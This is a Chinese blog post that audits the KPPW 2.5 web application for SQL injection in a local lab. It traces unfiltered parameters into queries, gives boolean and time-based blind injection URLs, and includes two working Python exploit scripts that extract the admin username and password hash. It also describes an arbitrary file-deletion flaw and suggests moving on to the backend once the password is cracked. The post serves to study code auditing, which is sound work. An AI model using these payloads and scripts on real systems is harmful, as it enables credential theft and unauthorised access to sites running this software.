C1imber's Blog

KPPW2.5几处sql注入漏洞利用与exp编写

字数统计: 2.8k阅读时长: 13 min
2018/01/11 Share

KPPW2.5版本几处sql注入漏洞利用以及exp编写

这篇文章通过分析KPPW2.5版本的注入漏洞来学习代码审计,使用python编写exp利用脚本去利用该漏洞

lamp环境搭建

下载centos6.4镜像,在虚拟机里最小化安装centos,安装服务器版

为了下载更方便,使用国内163镜像的源,更新源

yum -y install wget
mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup 
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.163.com/.help/CentOS6-Base-163.repo

安装apache服务

yum -y install httpd
service httpd start
service iptables stop

在浏览器输入虚拟机ip测试是否安装成功,安装成功会显示apache的界面,注意这里要关闭iptables,不然会被防火墙禁止访问80端口

安装mysql服务

yum -y install mysql mysql-server mysql-devel
service mysqld start

安装后进入mysql终端,默认密码为空,给mysql设置密码

mysql -u root -p
use mysql;
update user set Password=PASSWORD("root") where USER='root'
service mysqld restart

安装php和一些常用的php扩展,kppw的安装要求php-gd库的扩展,否则不能安装

yum -y install php php-mysql
yum search php
yum -y install gd php-gd gd-devel php-xml php-common php-mbstring php-ldap php-pear php-xmlrpc php-imap php-mysqli
service httpd restart

安装KPPW2.5

用winSCP将kppw2.5的压缩包上传至centos并解压

cd /var/www/html
mkdir kppw25
yum -y install unzip
cd kppw25
unzip KPPW_GBK.zip

将kppw25以及其目录下的文件的用户及用户组改为apache,否则安装时会显示目录不可写

chown -R apache kppw25
chgrp -R apache kppw25

在浏览器地址栏输入

http://192.168.50.157/kppw25/install

进行安装

如果到安装第二步一直进入不了第三步,再安装一下gd库扩展,重启一下服务即可

yum -y install php-gd
service httpd restart

如果不出意外的话会出现这个界面,安装的第三步
mark
我们输入mysql数据库的密码并且设置后台登陆密码点击提交,安装成功
mark

对漏洞分析利用并编写exp

KPPW2.5版本曾爆出了特别多的sql注入漏洞,在这里选择几个注入漏洞来研究学习一下

注入点1

1.漏洞分析

文件/control/user/account_auth.php

$arrAllowAuth = array('realname','enterprise','bank','mobile','email');
if ($code&&in_array($code,$arrAllowAuth)) {
    $code or $code = $keys ['0']; 
    $code or kekezu::show_msg ( $_lang ['param_error'], "index.php?do=auth", 3, '', 'warning' );
    $auth_class = "keke_auth_" . $code . "_class";
    $objAuth = new $auth_class ( $code ); 
    $auth_item = $arrAllAuthItems [$code]; 
    $auth_dir = $auth_item ['auth_dir']; 
    $arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid ); 
    require S_ROOT . "/auth/$code/control/index.php";
    require keke_tpl_class::template ( 'auth/' . $code . '/tpl/' . $_K ['template'] . '/'.$step );
    die;
} else {
    $real_pass = keke_auth_fac_class::auth_check ( 'enterprise', $gUid ) or $real_pass = keke_auth_fac_class::auth_check ( "realname", $gUid );
    $arrHasAuthItem = keke_auth_fac_class::get_auth ( $gUserInfo );
    $arrUserAuthInfo = $arrHasAuthItem ['info'];
}

仔细看看这里的:

$arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid );

这里的变量$intBankAid进入了函数get_user_auth_info函数 跟进函数get_user_auth_info 文件/lib/sys/keke_auth_base_class.php

public function get_user_auth_info($uid,$is_username=0,$show_id=''){
        $sql="select * from ".TABLEPRE.$this->_auth_table_name;
        if($uid){
            $is_username=='0' and $sql.=" where uid = '$uid' " or $sql.=" where username = '$uid' ";
            $show_id and $sql.=" and ".$this->_primary_key."=".$show_id;
            $sql .=" order by $this->_primary_key desc";
            $data = db_factory::query($sql);
            if(sizeof($data)==1){
                return $data[0];
            }else{
                return $data;
            }
        }else{
            return array();
        }
    }

接收到的变量$intBankAid——$show_id,然后$show_id进入$sql 整个过程中变量$intBankAid未过滤,最后进入$sql进入数据库,导致sql注入漏洞

2.漏洞证明
首先注册一个账号,然后访问
mark
http://192.168.50.157/kppw25/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147
接下来要在银行认证中添加一个新账户,信息随便填,在这里是测试不需要真实信息,但是信息格式一定要正确
mark
添加完账户后在银行认证中点击立即认证
mark
认证完成后回到http://192.168.50.157/kppw25/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147
mark
intBankAid存在盲注,盲注类型为基于bool的盲注,and 1=1and 1=2返回的页面结果不一样,证明存在盲注
mark
mark
用burp的comparer模块对返回结果做对比
mark
3.漏洞利用与exp编写
证明了存在基于bool的逻辑判断盲注,我们可以在intBankAid参数后构造逻辑判断,根据页面的差别来判断数据库中的数据

mid函数为mysql的字符串截取函数,截取select+concat(username,password)+from+keke_witkey_member+limit+0,1的第一个字符,与CHAR(97),也就是a字符进行比较,如果相等说明and后的逻辑为真返回正常页面,可以看出数据库查询结果的第一个字符为’a’

http://192.168.50.157/kppw25/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and mid((select concat(username,password) from keke_witkey_member limit 0,1),1,1)=CHAR(97)

mark
如果and后的逻辑判断为假,将返回不同的页面

http://192.168.50.157/kppw25/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and mid((select concat(username,password) from keke_witkey_member limit 0,1),1,1)=CHAR(98)

mark
由此可用python编写exp读取admin的用户名和密码,代码如下

#encoding:utf-8
#kppw2.5 base bool blind sqli
import requests
headers={
    'Cookie':'PHPSESSID=8p38igtr7fvvvi25d28rrql740'
}#获取用户身份
payload="http://192.168.50.157/kppw25/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147"
rtrue=requests.get(payload,headers=headers).content#向正确页面发起一次请求获取返回结果,相当于bool判断为真的返回页面
data=""
for i in range(1,38):#admin用户名和密码一共长为37
    for j in range(33,128):#循环可显示字符的ascii码值
        payload="http://192.168.50.157/kppw25/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and mid((select concat(username,password) from keke_witkey_member limit 0,1),%d,1)=CHAR(%d)"%(i,j)
        r=requests.get(payload,headers=headers).content
        if r==rtrue:
            data=data+chr(j)
            print data
            break

脚本跑出admin的用户名和密码,可以在解密网站解密
mark
mark
注入点2
1.漏洞分析
文件/control/pubgoods.php

<?php
kekezu::check_login();
$strPageTitle = '发布商品-'.$_K ['html_title'];
$strPageKeyword = '发布商品,'.$_K ['html_title'];
$strPageDescription = $kekezu->_sys_config['index_seo_desc'];
$id = intval($id);
$step = strval(trim($step));
......
$strUrl = "index.php?do=pubgoods&id=".$id;
$_SESSION['spread'] = 'index.php?do=pubgoods';
require S_ROOT . "/shop/" . $arrModelInfo['model_dir'] . "/control/pub.php";

看最后两行,这里的$arrModelInfo['model_dir']可以为goods或者service 当$arrModelInfo['model_dir']为goods时,我们跟进文件: /shop/goods/control/pub.php

<?php defined ( 'IN_KEKE' ) or exit ( 'Access Denied' );
$stdCacheName = 'service_cache_'.$id.'_' . substr ( md5 ( $gUid ), 0, 6 );
$objRelease = goods_release_class::get_instance ($id);
$objRelease->get_service_obj ( $stdCacheName ); 
$arrPubInfo = $objRelease->_std_obj->_release_info; 
$arrConfig = $objRelease->_service_config; 
$arrPubInfo['indus_pid'] and $arrAllIndustrys = CommonClass::getIndustryByPid($arrPubInfo['indus_pid'],'indus_id,indus_pid,indus_name');
switch ($step) {
    case 'step1':
......
if($action == 'delete_image'){
            $strSql = sprintf("select file_id,file_name,save_name from %switkey_file where file_id in(%s)",TABLEPRE,$fileid);
            $arrFileInfo = db_factory::get_one($strSql);
            $resText = CommonClass::delFileByFileId($fileid);
            if($resText){
                $array = explode(',', $arrPubInfo['file_ids']);
                $newArr = CommonClass::returnNewArr($arrFileInfo['save_name'], $array);
                $_POST['file_ids'] = implode(",", $newArr);
                $arrPubInfo and $_POST = array_merge ( $arrPubInfo, $_POST);
                $objRelease->save_service_obj ($_POST, $stdCacheName ); 
                kekezu::echojson('删除成功',1,array('fileid'=>$fileid,'save_name'=>$arrFileInfo['save_name']));die;
            }
        }
        if($action == 'delete_goodsfile'){
            $strSql = sprintf("select file_id,file_name,save_name from %switkey_file where file_id in(%s)",TABLEPRE,$fileid);
            $arrFileInfo = db_factory::get_one($strSql);
            $resText = CommonClass::delFileByFileId($fileid);

当action=delete_image,或者action=delete_goodsfile时,参数fileid都会进入sql语句,而且没有过滤,没有引号保护,最后导致sql注入 继续往下,参数fileid还进入了函数delFileByFileId,继续跟踪: 文件/lib/inc/CommonClass.php:

public static function delFileByFileId($fileId){
        $strSql = sprintf("select file_id,file_name,save_name from %switkey_file where file_id in(%s)",TABLEPRE,$fileId);
        $arrFileInfo = db_factory::get_one($strSql);
        $filename = S_ROOT.$arrFileInfo['save_name'];
        if(file_exists($filename)){
            unlink($filename);
        }
        return db_factory::execute("delete from ".TABLEPRE."witkey_file where file_id = ".$fileId);
    }

这里的fileid同样进入了select和delete语句,都没有过滤处理和保护,导致两处注入 这里在delete时,可以删除用户发布的商品或者任务的图片已经文件,而且这里最后删除时只根据fileid删除,没有判断删除对象的用户属性,导致可以任意删除任意用户发布的文件,导致越权操作。 下面来看看文件/lib/inc/CommonClass.php,这是一个全局调用的函数 来看看有多少文件使用了/lib/inc/CommonClass.php中的这个delFileByFileId函数

可以看到这里一个有12个文件使用了这个delFileByFileId函数,我们再来找两个其他文件,看看是不是也没有处理传入delFileByFileId函数的fileid参数 第一个文件/control/taskhandle.php:

case 'workover':
        if (isset($formhash)&&kekezu::submitcheck($formhash)){
            $resText = $objTask->work_over($tarContent, $file_id,intval($modify));
            if($resText === true){
                kekezu::show_msg ( '操作成功', 'index.php?do=task&id='.$taskId, 3, NULL, 'ok' );
            }else{
                kekezu::show_msg ( $resText, 'index.php?do=task&id='.$taskId, 3, NULL, 'fail' );
            }
        }
        if($action == 'deleteFile'){
            $resText = CommonClass::delFileByFileId($fileid);
            if($resText){
                kekezu::echojson('删除成功',1,array('fileid'=>$fileid));die;
            }
        }

fileid在全文上下没有处理,这里进入函数delFileByFileId后,也会导致注入 其他的就不一一列出来了,都存在同样的问题 fileid没有处理,直接进入函数delFileByFileId,然后fileid进入select和delete语句,导致sql注入,并且存在越权删除任意用户文件的漏洞
2.漏洞证明

http://192.168.50.157/kppw25/index.php?do=pubgoods&step=step1&action=delete_image&fileid=5566)+and+1=if(mid((select+concat(username,password)+from+keke_witkey_member+limit+0,1),1,1)=char(97),sleep(5),0)%23

来解释一下上面的payload,mid为mysql的字符串截取函数,截取select+concat(username,password)+from+keke_witkey_member+limit+0,1的第一个字符,与CHAR(97),也就是a字符进行比较,如果相等就延时5s再响应页面,否则就立即响应页面,因为查询有延时可以判断数据库查询结果的第一个字符为’a’(admin),所以请求会有10s的延时,这里会延迟10秒返回 因为这里的存在两处select,所以sleep(5)了两次
mark
根据延时注入用python编写exp可以将admin的用户名和密码注入出来,代码如下

#encoding:utf-8
#kppw2.5 base time blind sqli
import requests
import time
headers={
    'Cookie':'PHPSESSID=8p38igtr7fvvvi25d28rrql740'
}#获取用户身份
data=""
for i in range(1,38):#admin用户名和密码一共长为37
    for j in range(33,128):#循环可显示字符的ascii码值
        payload="http://192.168.50.157/kppw25/index.php?do=pubgoods&step=step1&action=delete_image&fileid=5566) and 1=if(mid((select concat(username,password) from keke_witkey_member limit 0,1),%d,1)=CHAR(%d),sleep(5),0)"%(i,j)
        payload=payload+"%23"
        starttime=time.time()#获取发起请求的时间
        r=requests.get(payload,headers=headers)
        if time.time()-starttime>5:#获取接收服务器响应的时间,如果存在延时,说明查询到了内容,将结果输出
            data=data+chr(j)
            print data
            break

mark
以上是KPPW2.5的两个注入点,还有很多注入点,注入手法和漏洞都大差不易

通过注入出的网站管理员密码,可以进入后台,进行下一步渗透
mark

本文用到的实验代码

KPPW2.5源码

链接:https://pan.baidu.com/s/1eTPzBBc 密码:xdr6
CATALOG
  1. 1. KPPW2.5版本几处sql注入漏洞利用以及exp编写
    1. 1.0.1.
    2. 1.0.2. lamp环境搭建
    3. 1.0.3. 安装KPPW2.5
    4. 1.0.4. 对漏洞分析利用并编写exp
    5. 1.0.5. 本文用到的实验代码